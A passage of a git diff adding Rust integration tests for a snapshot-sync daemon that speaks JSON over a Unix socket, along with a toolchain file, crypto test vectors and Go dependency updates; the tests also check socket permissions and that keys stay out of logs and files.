self.dir.path().join(name).join("data"), + tree, + } + } + + fn finish(mut self) { + self.stop.stop(); + self.thread.take().unwrap().join().unwrap(); + } +} + +struct Store { + data_dir: PathBuf, + tree: PathBuf, +} + +impl Store { + fn target(&self) -> Value { + json!({"data_dir": self.data_dir, "tree": self.tree}) + } + + fn write(&self, name: &str, body: &str) { + fs::write(self.tree.join(name), body).unwrap(); + } + + fn read(&self, name: &str) -> String { + fs::read_to_string(self.tree.join(name)).unwrap() + } +} + +struct Client { + stream: UnixStream, + reader: BufReader, + next: u64, +} + +impl Client { + fn send(&mut self, verb: &str, target: Option, args: Value) -> u64 { + let id = self.next; + self.next += 1; + let request = json!({"V": 1, "id": id, "verb": verb, "target": target, "args": args}); + writeln!(self.stream, "{request}").unwrap(); + id + } + + fn recv(&mut self) -> Value { + let mut line = String::new(); + self.reader.read_line(&mut line).unwrap(); + serde_json::from_str(&line).unwrap() + } + + fn call(&mut self, verb: &str, store: &Store, args: Value) -> Value { + let id = self.send(verb, Some(store.target()), args); + let response = self.recv(); + assert_eq!(response["id"], id); + assert_eq!(response["V"], 1); + response + } + + fn ok(&mut self, verb: &str, store: &Store, args: Value) -> Value { + let response = self.call(verb, store, args); + assert!(response.get("err").is_none(), "{response}"); + response["ok"].clone() + } +} + +fn snapshot(sealed: &Value) -> String { + sealed["snapshot"].as_str().unwrap().to_owned() +} + +#[test] +fn seal_and_restore_round_trip() { + let daemon = Daemon::start(Duration::from_secs(60)); + let store = daemon.store("a"); + let mut client = daemon.connect(); + + store.write("f.txt", "one"); + let first = client.ok("seal", &store, json!({"turn": "t1"})); + assert_eq!(first["label"], "hook turn-end agent=agent turn=t1"); + store.write("f.txt", "two"); + store.write("g.txt", "new"); + let second = client.ok( + "seal", + &store, + json!({"turn": "t2", "changed": ["f.txt", "g.txt"]}), + ); + assert_ne!(snapshot(&first), snapshot(&second)); + + let restored = client.ok("restore", &store, json!({"snapshot": snapshot(&first)})); + assert!(restored["changes"].as_u64().unwrap() >= 1); + assert_eq!(store.read("f.txt"), "one"); + assert!(!store.tree.join("g.txt").exists()); + + let log = client.ok("log", &store, json!({"limit": 10})); + assert!(log.as_array().unwrap().len() >= 3); + let capture = client.ok("snap", &store, json!({"message": "capture"})); + assert_eq!(snapshot(&capture).len(), 64); + daemon.finish(); +} + +#[test] +fn health_and_refusals_keep_the_connection() { + let daemon = Daemon::start(Duration::from_secs(60)); + let store = daemon.store("a"); + let mut client = daemon.connect(); + + let id = client.send("health", None, json!({})); + let health = client.recv(); + assert_eq!(health["id"], id); + assert_eq!(health["ok"]["stores"], 0); + assert_eq!(health["ok"]["version"], env!("CARGO_PKG_VERSION")); + assert!(health["ok"]["engine"] + .as_str() + .is_some_and(|name| !name.is_empty())); + + assert!(client.call("no-such-verb", &store, json!({}))["err"].is_string()); + let restore = client.call("restore", &store, json!({"snapshot": "0".repeat(64)})); + assert!(restore["err"].is_string()); + writeln!(client.stream, "not json").unwrap(); + assert!(client.recv()["err"] + .as_str() + .unwrap() + .contains("bad request")); + writeln!(client.stream, r#"{{"V":9,"id":5,"verb":"health"}}"#).unwrap(); + let refused = client.recv(); + assert_eq!(refused["id"], 5); + assert!(refused["err"].as_str().unwrap().contains("not supported")); + + store.write("f", "x"); + client.ok("seal", &store, json!({})); + daemon.finish(); +} + +#[test] +fn stores_run_in_parallel_and_each_has_one_writer() { + let daemon = Daemon::start(Duration::from_secs(60)); + let stores: Vec = (0..3).map(|i| daemon.store(&format!("s{i}"))).collect(); + let threads: Vec<_> = stores + .iter() + .map(|store| { + let (mut client, target) = (daemon.connect(), store.target()); + let tree = store.tree.clone(); + std::thread::spawn(move || { + let mut ids = Vec::new(); + for n in 0..6 { + fs::write(tree.join("f"), n.to_string()).unwrap(); + let id = + client.send("seal", Some(target.clone()), json!({"turn": n.to_string()})); + let response = client.recv(); + assert_eq!(response["id"], id); + ids.push( + response["ok"]["snapshot"] + .as_str() + .unwrap_or_else(|| panic!("{response}")) + .to_owned(), + ); + } + ids + }) + }) + .collect(); + for thread in threads { + let ids = thread.join().unwrap(); + let mut unique = ids.clone(); + unique.sort(); + unique.dedup(); + assert_eq!(unique.len(), ids.len(), "each seal is its own snapshot"); + } + let mut client = daemon.connect(); + client.send("health", None, json!({})); + assert_eq!(client.recv()["ok"]["stores"], 3); + daemon.finish(); +} + +#[test] +fn a_client_dying_mid_request_does_not_stop_the_store() { + let daemon = Daemon::start(Duration::from_secs(60)); + let store = daemon.store("a"); + store.write("f", "one"); + + let mut doomed = daemon.connect(); + doomed.send("seal", Some(store.target()), json!({"turn": "orphan"})); + drop(doomed); + let mut torn = UnixStream::connect(daemon.socket()).unwrap(); + torn.write_all(br#"{"V":1,"id":1,"verb":"se"#).unwrap(); + drop(torn); + + let mut client = daemon.connect(); + // The orphaned request runs to completion though nobody reads its answer. + let deadline = std::time::Instant::now() + Duration::from_secs(10); + loop { + let log = client.call("log", &store, json!({})); + let sealed = log["ok"] + .as_array() + .is_some_and(|entries| entries.len() == 1); + if sealed { + break; + } + assert!(std::time::Instant::now() < deadline, "{log}"); + std::thread::sleep(Duration::from_millis(20)); + } + store.write("f", "two"); + client.ok("seal", &store, json!({})); + daemon.finish(); +} + +#[test] +fn the_socket_is_owner_only_and_single() { + let daemon = Daemon::start(Duration::from_secs(60)); + let mode = fs::metadata(daemon.socket()).unwrap().permissions().mode(); + assert_eq!(mode & 0o777, 0o600); + let config = Config { + socket: daemon.socket(), + idle: Duration::from_secs(1), + }; + assert!( + Server::bind(config).unwrap().is_none(), + "a second daemon yields" + ); + daemon.finish(); +} + +#[test] +fn an_idle_daemon_exits_and_removes_its_socket() { + let daemon = Daemon::start(Duration::from_millis(200)); + let socket = daemon.socket(); + let mut daemon = daemon; + daemon.thread.take().unwrap().join().unwrap(); + assert!(!Path::new(&socket).exists()); +} + +#[test] +fn a_shutdown_request_stops_the_daemon() { + let mut daemon = Daemon::start(Duration::from_secs(60)); + let mut client = daemon.connect(); + client.send("shutdown", None, json!({})); + assert_eq!(client.recv()["ok"]["stopping"], true); + daemon.thread.take().unwrap().join().unwrap(); + assert!(!daemon.socket().exists()); +} + +#[test] +fn shutdown_finishes_the_request_in_flight() { + let daemon = Daemon::start(Duration::from_secs(60)); + let store = daemon.store("a"); + store.write("f", "one"); + let mut client = daemon.connect(); + client.send("health", None, json!({})); + client.recv(); + client.send("seal", Some(store.target()), json!({})); + let socket = daemon.socket(); + daemon.finish(); + assert!(!socket.exists()); + let response = client.recv(); + assert!(response["ok"]["snapshot"].is_string() || response["err"].is_string()); +} diff --git a/engine/furrow-daemon/tests/stage1_verbs.rs b/engine/furrow-daemon/tests/stage1_verbs.rs new file mode 100644 index 0000000000..a9d27d9bec --- /dev/null +++ b/engine/furrow-daemon/tests/stage1_verbs.rs @@ -0,0 +1,458 @@ +//! Stage 1 contract 5.2: the five sync verbs over the daemon's socket. + +use furrow::exchange::frame; +use furrow::model::{id_hex, parse_id}; +use furrow_daemon::{Config, Server, Stop}; +use serde_json::{json, Value}; +use std::collections::BTreeMap; +use std::fs; +use std::io::{BufRead, BufReader, Write}; +use std::os::fd::AsRawFd; +use std::os::unix::fs::{symlink, MetadataExt}; +use std::os::unix::net::UnixStream; +use std::path::{Path, PathBuf}; +use std::thread::JoinHandle; +use std::time::Duration; +use tempfile::TempDir; + +const LEDGER: &str = "0123456789abcdef"; +const SMALL_FRAME: usize = 300 * 1024; +// Distinctive on purpose: a repeated byte would match by accident in a scan. +const CELL_KEY: &str = "c3a91f0e5b7d2648a0f1e3d5c7b9a1f2e4d6c8b0a2f4e6d8c0b1a3f5e7d9c1b3"; +const DEDUP: &str = "9f8e7d6c5b4a39281706f5e4d3c2b1a0918273645546372819a0b1c2d3e4f506"; + +fn cell_args() -> Value { + json!({"cell_key": CELL_KEY, "dedup": DEDUP}) +} + +struct Daemon { + dir: TempDir, + stop: Stop, + thread: Option>, +} + +impl Daemon { + fn start() -> Self { + let dir = TempDir::new().unwrap(); + let config = Config { + socket: dir.path().join("run").join("furrow.sock"), + idle: Duration::from_secs(60), + }; + let server = Server::bind(config).unwrap().expect("first daemon binds"); + let stop = server.stop_handle(); + let thread = std::thread::spawn(move || server.run().unwrap()); + Self { + dir, + stop, + thread: Some(thread), + } + } + + fn connect(&self) -> Client { + let stream = UnixStream::connect(self.dir.path().join("run").join("furrow.sock")).unwrap(); + Client { + reader: BufReader::new(stream.try_clone().unwrap()), + stream, + next: 1, + } + } + + /// A store with a small tree, a larger random file and a symlink. + fn store(&self, name: &str) -> Store { + let root = self.dir.path().join(name); + let tree = root.join("tree"); + fs::create_dir_all(tree.join("src")).unwrap(); + Store { + data_dir: root.join("data"), + tree, + root, + } + } + + fn finish(mut self) { + self.stop.stop(); + self.thread.take().unwrap().join().unwrap(); + } +} + +struct Store { + root: PathBuf, + data_dir: PathBuf, + tree: PathBuf, +} + +impl Store { + fn target(&self) -> Value { + json!({"data_dir": self.data_dir, "tree": self.tree}) + } + + fn fill(&self) { + fs::write(self.tree.join("src/main.rs"), b"fn main() {}\n").unwrap(); + fs::write(self.tree.join("big.bin"), pseudo_random(1 << 20)).unwrap(); + symlink("src/main.rs", self.tree.join("link")).unwrap(); + } +} + +fn pseudo_random(len: usize) -> Vec { + let mut state = 0x9e37_79b9_7f4a_7c15_u64; + (0..len) + .map(|_| { + state = state + .wrapping_mul(6364136223846793005) + .wrapping_add(1442695040888963407); + (state >> 33) as u8 + }) + .collect() +} + +struct Client { + stream: UnixStream, + reader: BufReader, + next: u64, +} + +impl Client { + fn send(&mut self, verb: &str, store: &Store, args: Value) { + let id = self.next; + self.next += 1; + let request = + json!({"V": 1, "id": id, "verb": verb, "target": store.target(), "args": args}); + writeln!(self.stream, "{request}").unwrap(); + } + + fn call(&mut self, verb: &str, store: &Store, args: Value) -> Value { + self.send(verb, store, args); + let mut line = String::new(); + self.reader.read_line(&mut line).unwrap(); + serde_json::from_str(&line).unwrap() + } + + fn ok(&mut self, verb: &str, store: &Store, args: Value) -> Value { + let response = self.call(verb, store, args); + assert!(response.get("err").is_none(), "{response}"); + response["ok"].clone() + } + + fn seal(&mut self, store: &Store) -> String { + let sealed = self.ok("seal", store, json!({})); + sealed["snapshot"].as_str().unwrap().to_owned() + } + + fn export(&mut self, store: &Store, head: &str, outbox: &Path) -> Value { + let mut args = cell_args(); + args["head"] = json!(head); + args["outbox"] = json!(outbox); + args["ledger"] = json!(LEDGER); + args["max_frame"] = json!(SMALL_FRAME); + self.ok("export", store, args) + } +} + +fn frame_files(report: &Value) -> Vec { + let frames = report["frames"].as_array().unwrap(); + frames + .iter() + .map(|f| PathBuf::from(f["path"].as_str().unwrap())) + .collect() +} + +/// Each object of the frames as its own file named by its rid, as a fetcher +/// would leave them. +fn deliver(frames: &[PathBuf], inbox: &Path) { + fs::create_dir_all(inbox).unwrap(); + for path in frames { + let bytes = fs::read(path).unwrap(); + let (_, objects) = frame::decode(&bytes).unwrap(); + for object in objects { + fs::write(inbox.join(id_hex(&object.rid)), object.bytes).unwrap(); + } + } +} + +/// Path, mode, link target or content digest and mtime of every entry. +fn dump(root: &Path) -> BTreeMap { + let mut nodes = BTreeMap::new(); + let mut stack = vec![root.to_owned()]; + while let Some(dir) = stack.pop() { + for entry in fs::read_dir(&dir).unwrap() { + let path = entry.unwrap().path(); + let meta = fs::symlink_metadata(&path).unwrap(); + let body = if meta.is_dir() { + stack.push(path.clone()); + String::new() + } else if meta.file_type().is_symlink() { + fs::read_link(&path).unwrap().display().to_string() + } else { + blake3::hash(&fs::read(&path).unwrap()).to_hex().to_string() + }; + let name = path.strip_prefix(root).unwrap().display().to_string(); + if name.starts_with(".furrow") { + // Each store's own attachment marker is device-local, never sealed. + continue; + } + nodes.insert(name, format!("{:o} {body} {}", meta.mode(), meta.mtime())); + } + } + nodes +} + +#[test] +fn export_published_want_import_materialize_over_socket() { + let daemon = Daemon::start(); + let (a, b) = (daemon.store("a"), daemon.store("b")); + a.fill(); + let mut client = daemon.connect(); + let head = client.seal(&a); + + let outbox = a.root.join("outbox"); + let report = client.export(&a, &head, &outbox); + let frames = frame_files(&report); + assert!( + frames.len() > 3, + "a 1 MiB file needs several 300 KiB frames" + ); + assert_eq!(report["head_rid"].as_str().unwrap().len(), 64); + + let recorded = client.ok("published", &a, json!({"ledger": LEDGER, "frames": frames})); + assert_eq!(recorded["recorded"], report["objects"]); + assert!(frames.iter().all(|path| !path.exists())); + let again = client.export(&a, &head, &outbox); + assert_eq!(again["frames"], json!([]), "everything is now published"); + + let mut want_args = cell_args(); + want_args["head"] = json!(head); + let first = client.ok("want", &b, want_args.clone()); + assert_eq!( + first["want"].as_array().unwrap().len(), + 1, + "only the snapshot" + ); + + // The frames were deleted by `published`, so export afresh to a new ledger. + let mut resend = cell_args(); + resend.as_object_mut().unwrap().extend([ + ("head".into(), json!(head)), + ("outbox".into(), json!(a.root.join("resend"))), + ("ledger".into(), json!("fedcba9876543210")), + ]); + let resent = client.ok("export", &a, resend); + let inbox = b.root.join("inbox"); + deliver(&frame_files(&resent), &inbox); + + let mut import = want_args.clone(); + import["inbox"] = json!(inbox); + import["ledger"] = json!(LEDGER); + let imported = client.ok("import", &b, import); + assert_eq!(imported["imported"], resent["objects"]); + assert_eq!(client.ok("want", &b, want_args)["want"], json!([])); + + let restored = client.ok("materialize", &b, json!({"head": head})); + assert_eq!(restored["snapshot"], head); + assert_eq!(dump(&a.tree), dump(&b.tree)); + parse_id(&head).unwrap(); + daemon.finish(); +} + +#[test] +fn export_matches_the_command_line_path() { + let daemon = Daemon::start(); + let a = daemon.store("a"); + a.fill(); + let mut client = daemon.connect(); + let head = client.seal(&a); + + let over_socket = client.export(&a, &head, &a.root.join("socket")); + let keys = furrow::exchange::keys::keys_from(|name| { + Some( + if name == "FURROW_CELL_KEY" { + CELL_KEY + } else { + DEDUP + } + .to_owned(), + ) + }) + .unwrap(); + let direct = furrow::exchange::ops::export( + &a.data_dir, + &keys, + &head, + LEDGER, + &a.root.join("direct"), + SMALL_FRAME, + ) + .unwrap(); + + let names = |paths: Vec| -> Vec<(String, Vec)> { + paths + .iter() + .map(|p| { + ( + p.file_name().unwrap().to_string_lossy().into_owned(), + fs::read(p).unwrap(), + ) + }) + .collect() + }; + assert_eq!( + names(frame_files(&over_socket)), + names(frame_files(&direct)) + ); + assert_eq!(over_socket["head_rid"], direct["head_rid"]); + assert_eq!(over_socket["bytes"], direct["bytes"]); + daemon.finish(); +} + +#[test] +fn two_stores_export_in_parallel() { + let daemon = Daemon::start(); + let threads: Vec<_> = ["a", "b"] + .into_iter() + .map(|name| { + let store = daemon.store(name); + store.fill(); + let mut client = daemon.connect(); + std::thread::spawn(move || { + let head = client.seal(&store); + let report = client.export(&store, &head, &store.root.join("outbox")); + ( + report["objects"].as_u64().unwrap(), + frame_files(&report).len(), + ) + }) + }) + .collect(); + for thread in threads { + let (objects, frames) = thread.join().unwrap(); + assert!(objects > 0 && frames > 3); + } + daemon.finish(); +} + +#[test] +fn a_client_leaving_mid_export_keeps_the_ledger_consistent() { + let daemon = Daemon::start(); + let a = daemon.store("a"); + a.fill(); + let mut client = daemon.connect(); + let head = client.seal(&a); + let outbox = a.root.join("outbox"); + + let mut args = cell_args(); + args.as_object_mut().unwrap().extend([ + ("head".into(), json!(head)), + ("outbox".into(), json!(outbox)), + ("ledger".into(), json!(LEDGER)), + ("max_frame".into(), json!(SMALL_FRAME)), + ]); + let mut doomed = daemon.connect(); + doomed.send("export", &a, args); + drop(doomed); + + // The export runs to the end on the store's writer; nothing was marked + // published, so the next export sends every frame again, identically. + let first = client.export(&a, &head, &outbox); + let ledger = a.data_dir.join(format!("published.{LEDGER}")); + assert!(!ledger.exists() || fs::read_to_string(&ledger).unwrap().is_empty()); + let second = client.export(&a, &head, &outbox); + assert_eq!(first, second); + assert!(frame_files(&first).iter().all(|p| p.exists())); + daemon.finish(); +} + +/// Points stdout and stderr at a file for the life of the guard. +struct Capture { + saved: [i32; 2], + file: PathBuf, +} + +impl Capture { + fn begin(file: PathBuf) -> Self { + let target = fs::File::create(&file).unwrap(); + let redirect = |fd: i32| unsafe { + let saved = libc::dup(fd); + libc::dup2(target.as_raw_fd(), fd); + saved + }; + Self { + saved: [redirect(1), redirect(2)], + file, + } + } + + fn end(self) -> Vec { + for (fd, saved) in [1, 2].into_iter().zip(self.saved) { + unsafe { + libc::dup2(saved, fd); + libc::close(saved); + } + } + fs::read(&self.file).unwrap() + } +} + +fn contains(haystack: &[u8], needle: &str) -> bool { + haystack + .windows(needle.len()) + .any(|w| w == needle.as_bytes()) +} + +#[test] +fn keys_absent_from_logs() { + let daemon = Daemon::start(); + let a = daemon.store("a"); + a.fill(); + let mut client = daemon.connect(); + let head = client.seal(&a); + + let capture = Capture::begin(daemon.dir.path().join("captured.log")); + let report = client.export(&a, &head, &a.root.join("outbox")); + let mut bad = cell_args(); + bad["head"] = json!(head); + bad["cell_key"] = json!(&CELL_KEY[..40]); + let refusal = client.call("want", &a, bad); + let wrong_type = client.call( + "want", + &a, + json!({"head": head, "cell_key": 12345, "dedup": DEDUP}), + ); + let logged = capture.end(); + + for secret in [CELL_KEY, DEDUP] { + assert!(!contains(&logged, secret), "daemon output holds a key"); + assert!(!refusal.to_string().contains(secret)); + assert!(!wrong_type.to_string().contains(secret)); + assert!(!report.to_string().contains(secret)); + } + assert!(!refusal.to_string().contains(&CELL_KEY[..40])); + assert!(refusal["err"].as_str().unwrap().contains("cell_key")); + // No key reaches the disk either: not in the store, the outbox or the ledger. + for file in walk(daemon.dir.path()) { + let bytes = fs::read(&file).unwrap(); + for secret in [CELL_KEY, DEDUP] { + assert!(!contains(&bytes, secret), "{} holds a key", file.display()); + assert!(!contains( + &bytes, + &String::from_utf8_lossy(&hex::decode(secret).unwrap()) + )); + } + } + daemon.finish(); +} + +fn walk(dir: &Path) -> Vec { + let mut files = Vec::new(); + let mut stack = vec![dir.to_owned()]; + while let Some(next) = stack.pop() { + for entry in fs::read_dir(&next).unwrap() { + let path = entry.unwrap().path(); + let meta = fs::symlink_metadata(&path).unwrap(); + if meta.is_dir() { + stack.push(path); + } else if meta.is_file() { + files.push(path); + } + } + } + files +} diff --git a/engine/rust-toolchain.toml b/engine/rust-toolchain.toml new file mode 100644 index 0000000000..cf01515b3a --- /dev/null +++ b/engine/rust-toolchain.toml @@ -0,0 +1,4 @@ +[toolchain] +channel = "1.97.1" +profile = "minimal" +components = ["rustfmt"] diff --git a/engine/testdata/stage1-vectors.json b/engine/testdata/stage1-vectors.json new file mode 100644 index 0000000000..242c2abbed --- /dev/null +++ b/engine/testdata/stage1-vectors.json @@ -0,0 +1,21 @@ +{ + "V": 1, + "cases": [ + { + "id": "119bf963e0941401c9d282d82e35f9b726716fd49c47db467c17b96fb11f1be0", + "kind": "chunk", + "plaintext_hex": "7374616765206f6e65206368756e6b20766563746f72", + "rid": "95b69b66b57415e9fd939ddd85976ac294426f55dd89641be3fda8f9bf8cd033", + "sealed_hex": "4147454f010e9151738346d512f43c4c0a5c47962fa8deb2b6159f3ad48b5734b1a07e57a2bafe8fe138e0e3c71e725f2c1df7505c77611700e8e08391059a5379bd43fa0daed6802f2729113d7d2db9f41a7d2b1d9d329e38ac6edd25ecadf9226ad2a6" + }, + { + "id": "ef0fb146f62703b83a27db99c5955c257b91de26dade13ea6204ebeb271a974b", + "kind": "tree", + "plaintext_hex": "7374616765206f6e65207472656520766563746f72", + "rid": "890d159f2c3558c97e1f228a6bab0f258ae3d6a2300fea41a1e91c7d806d55eb", + "sealed_hex": "4147454f01b48b62ed72f9c6f993ddd379e5eab932f31cbb87fa22d70a963c27fa26042e1dc17dae57497233d36fbcfbafd836179542ec85b159d917f96a2d9b833b255f185034028d79210f5c5cda455c69ad74e429ab1c3992679c87afb605dd95e6" + } + ], + "cell_key": "1111111111111111111111111111111111111111111111111111111111111111", + "dedup": "2222222222222222222222222222222222222222222222222222222222222222" +} diff --git a/go.mod b/go.mod index 843adb3503..25b9668b29 100644 --- a/go.mod +++ b/go.mod @@ -13,8 +13,10 @@ require ( github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 github.com/charmbracelet/x/ansi v0.11.7 github.com/charmbracelet/x/term v0.2.2 + github.com/coder/websocket v1.8.15 github.com/dop251/goja v0.0.0-20260822123354-58e940e0d230 github.com/flynn/noise v1.1.0 + github.com/google/uuid v1.6.0 github.com/gtank/ristretto255 v0.1.2 github.com/int128/listener v1.3.0 github.com/int128/oauth2cli v1.18.0 @@ -59,6 +61,7 @@ require ( github.com/charmbracelet/x/windows v0.2.2 // indirect github.com/clipperhouse/displaywidth v0.11.0 // indirect github.com/clipperhouse/uax29/v2 v2.7.0 // indirect + github.com/coder/websocket v1.8.15 github.com/dlclark/regexp2/v2 v2.5.2 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect @@ -71,7 +74,6 @@ require ( github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect github.com/google/jsonschema-go v0.4.3 // indirect github.com/google/pprof v0.0.0-20230207041349-798e818bf904 // indirect - github.com/google/uuid v1.6.0 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/joho/godotenv v1.5.1 // indirect github.com/leodido/go-urn v1.4.0 // indirect diff --git a/go.sum b/go.sum index 43bae125c2..6fcefd2efb 100644 --- a/go.sum +++ b/go.sum @@ -78,6 +78,10 @@ github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSE github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0= github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= +github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g= +github.com/coder/websocket v1.8.14/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg= +github.com/coder/websocket v1.8.15 h1:6B2JPeOGlpff2Uz6vOEH1Vzpi0iUz20A+lPVhPHtNUA= +github.com/coder/websocket v1.8.15/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dlclark/regexp2/v2 v2.5.2 h1:HAsucWRhsqcDzl6Ua9aR8JwYOTzrZyPrF0/FNxJVAI0= @@ -214,17 +218,16 @@ golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 h1:2dVuKD2vS7b0QIHQbpyTISPd0 golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56/go.mod h1:M4RDyNAINzryxdtnbRXRL/OHtkFuWGRjvuhBJpk2IlY= golang.org/x/image v0.32.0 h1:6lZQWq75h7L5IWNk0r+SCpUJ6tUVd3v4ZHnbRKLkUDQ= golang.org/x/image v0.32.0/go.mod h1:/R37rrQmKXtO6tYXAjtDLwQgFLHmhW+V6ayXlxzP2Pc= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= @@ -232,62 +235,63 @@ golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= -golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod 